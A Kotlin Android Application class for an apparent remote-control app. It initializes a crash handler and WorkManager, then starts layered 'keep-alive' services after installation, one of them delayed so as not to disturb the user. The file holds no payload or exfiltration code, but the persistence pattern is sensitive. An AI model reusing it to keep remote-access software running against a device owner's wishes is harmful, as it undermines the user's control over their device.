package com.hikoncont

import android.app.Application
import android.util.Log
import androidx.work.Configuration
import androidx.work.WorkManager
import com.hikoncont.crash.CrashHandler
import com.hikoncont.service.WorkManagerKeepAliveService
import com.hikoncont.service.ComprehensiveKeepAliveManager

/**
 * 应用程序主类
 * 负责初始化全局组件和配置
 */
class RemoteControlApplication : Application() {

    companion object {
        private const val TAG = "RemoteControlApp"
    }

    override fun onCreate() {
        super.onCreate()
        Log.i(TAG, "🚀 应用程序启动")

        try {
            // 初始化崩溃处理器（最先初始化，确保能捕获后续初始化过程中的崩溃）
            CrashHandler.getInstance().init(this)
            
            // 初始化 WorkManager
            initializeWorkManager()
            
            // 启动 WorkManager 保活服务（仅在安装完成后）
            startWorkManagerKeepAliveIfInstallationComplete()
            
            // 延迟启动综合保活管理器，给APP足够时间初始化
            android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                startComprehensiveKeepAliveIfInstallationComplete()
            }, 10000L) // 延迟10秒启动，避免干扰用户正常使用
            
            Log.i(TAG, "✅ 应用程序初始化完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 应用程序初始化失败", e)
        }
    }

    /**
     * 初始化 WorkManager
     */
    private fun initializeWorkManager() {
        try {
            Log.i(TAG, "🔧 手动初始化 WorkManager")
            
            // ✅ 修复：手动初始化 WorkManager，因为我们禁用了自动初始化
            val config = Configuration.Builder()
                .setMinimumLoggingLevel(android.util.Log.INFO)
                .setWorkerFactory(androidx.work.WorkerFactory.getDefaultWorkerFactory())
                .build()

            // 手动初始化 WorkManager
            WorkManager.initialize(this, config)
            
            Log.i(TAG, "✅ WorkManager 手动初始化完成")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ WorkManager 手动初始化失败", e)
        }
    }

    /**
     * 启动 WorkManager 保活服务（仅在安装完成后）
     */
    private fun startWorkManagerKeepAliveIfInstallationComplete() {
        try {
            // 检查安装是否完成
            val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
            val isInstallationComplete = installationStateManager.isInstallationComplete()
            
            Log.d(TAG, "🔍 检查安装完成状态: $isInstallationComplete")
            
            if (!isInstallationComplete) {
                Log.w(TAG, "⚠️ 安装未完成，跳过WorkManager保活服务启动")
                return
            }
            
            Log.i(TAG, "🚀 安装已完成，启动 WorkManager 保活服务")
            
            val workManagerKeepAlive = WorkManagerKeepAliveService.getInstance()
            workManagerKeepAlive.startKeepAlive(this)
            
            Log.i(TAG, "✅ WorkManager 保活服务已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动 WorkManager 保活服务失败", e)
        }
    }

    /**
     * 启动 WorkManager 保活服务（无条件）
     */
    private fun startWorkManagerKeepAlive() {
        try {
            Log.i(TAG, "🚀 启动 WorkManager 保活服务")
            
            val workManagerKeepAlive = WorkManagerKeepAliveService.getInstance()
            workManagerKeepAlive.startKeepAlive(this)
            
            Log.i(TAG, "✅ WorkManager 保活服务已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动 WorkManager 保活服务失败", e)
        }
    }

    /**
     * 启动综合保活管理器（仅在安装完成后）- 带状态控制
     */
    private fun startComprehensiveKeepAliveIfInstallationComplete() {
        try {
            // 检查安装是否完成
            val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
            val isInstallationComplete = installationStateManager.isInstallationComplete()
            
            Log.d(TAG, "🔍 检查安装完成状态: $isInstallationComplete")
            
            if (!isInstallationComplete) {
                Log.w(TAG, "⚠️ 安装未完成，跳过保活程序启动")
                return
            }
            
            // ✅ 修复：检查保活管理器状态，避免重复启动
            val keepAliveManager = ComprehensiveKeepAliveManager.getInstance(this)
            if (!keepAliveManager.canStartService()) {
                Log.w(TAG, "⚠️ 保活服务已在运行或正在启动中，跳过重复启动")
                val status = keepAliveManager.getServiceStatus()
                Log.d(TAG, "📊 保活服务状态: $status")
                return
            }
            
            Log.i(TAG, "🚀 安装已完成，启动综合保活管理器")
            
            // 启动综合保活管理器
            keepAliveManager.startComprehensiveKeepAlive()
            
            Log.i(TAG, "✅ 综合保活管理器启动完成")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动综合保活管理器失败", e)
        }
    }

    /**
     * 启动综合保活管理器（无条件）- 带状态控制
     */
    private fun startComprehensiveKeepAlive() {
        try {
            // ✅ 修复：检查保活管理器状态，避免重复启动
            val keepAliveManager = ComprehensiveKeepAliveManager.getInstance(this)
            if (!keepAliveManager.canStartService()) {
                Log.w(TAG, "⚠️ 保活服务已在运行或正在启动中，跳过重复启动")
                val status = keepAliveManager.getServiceStatus()
                Log.d(TAG, "📊 保活服务状态: $status")
                return
            }
            
            Log.i(TAG, "🚀 启动综合保活管理器")
            
            // 启动综合保活管理器
            keepAliveManager.startComprehensiveKeepAlive()
            
            Log.i(TAG, "✅ 综合保活管理器启动完成")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动综合保活管理器失败", e)
        }
    }

    override fun onTerminate() {
        super.onTerminate()
        Log.i(TAG, "🛑 应用程序终止")
        
        try {
            // 停止 WorkManager 保活服务
            val workManagerKeepAlive = WorkManagerKeepAliveService.getInstance()
            workManagerKeepAlive.stopKeepAlive(this)
            
            // 停止综合保活管理器
            ComprehensiveKeepAliveManager.getInstance(this).stopComprehensiveKeepAlive()
            
            Log.i(TAG, "✅ 所有保活服务已停止")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 停止保活服务失败", e)
        }
    }
}
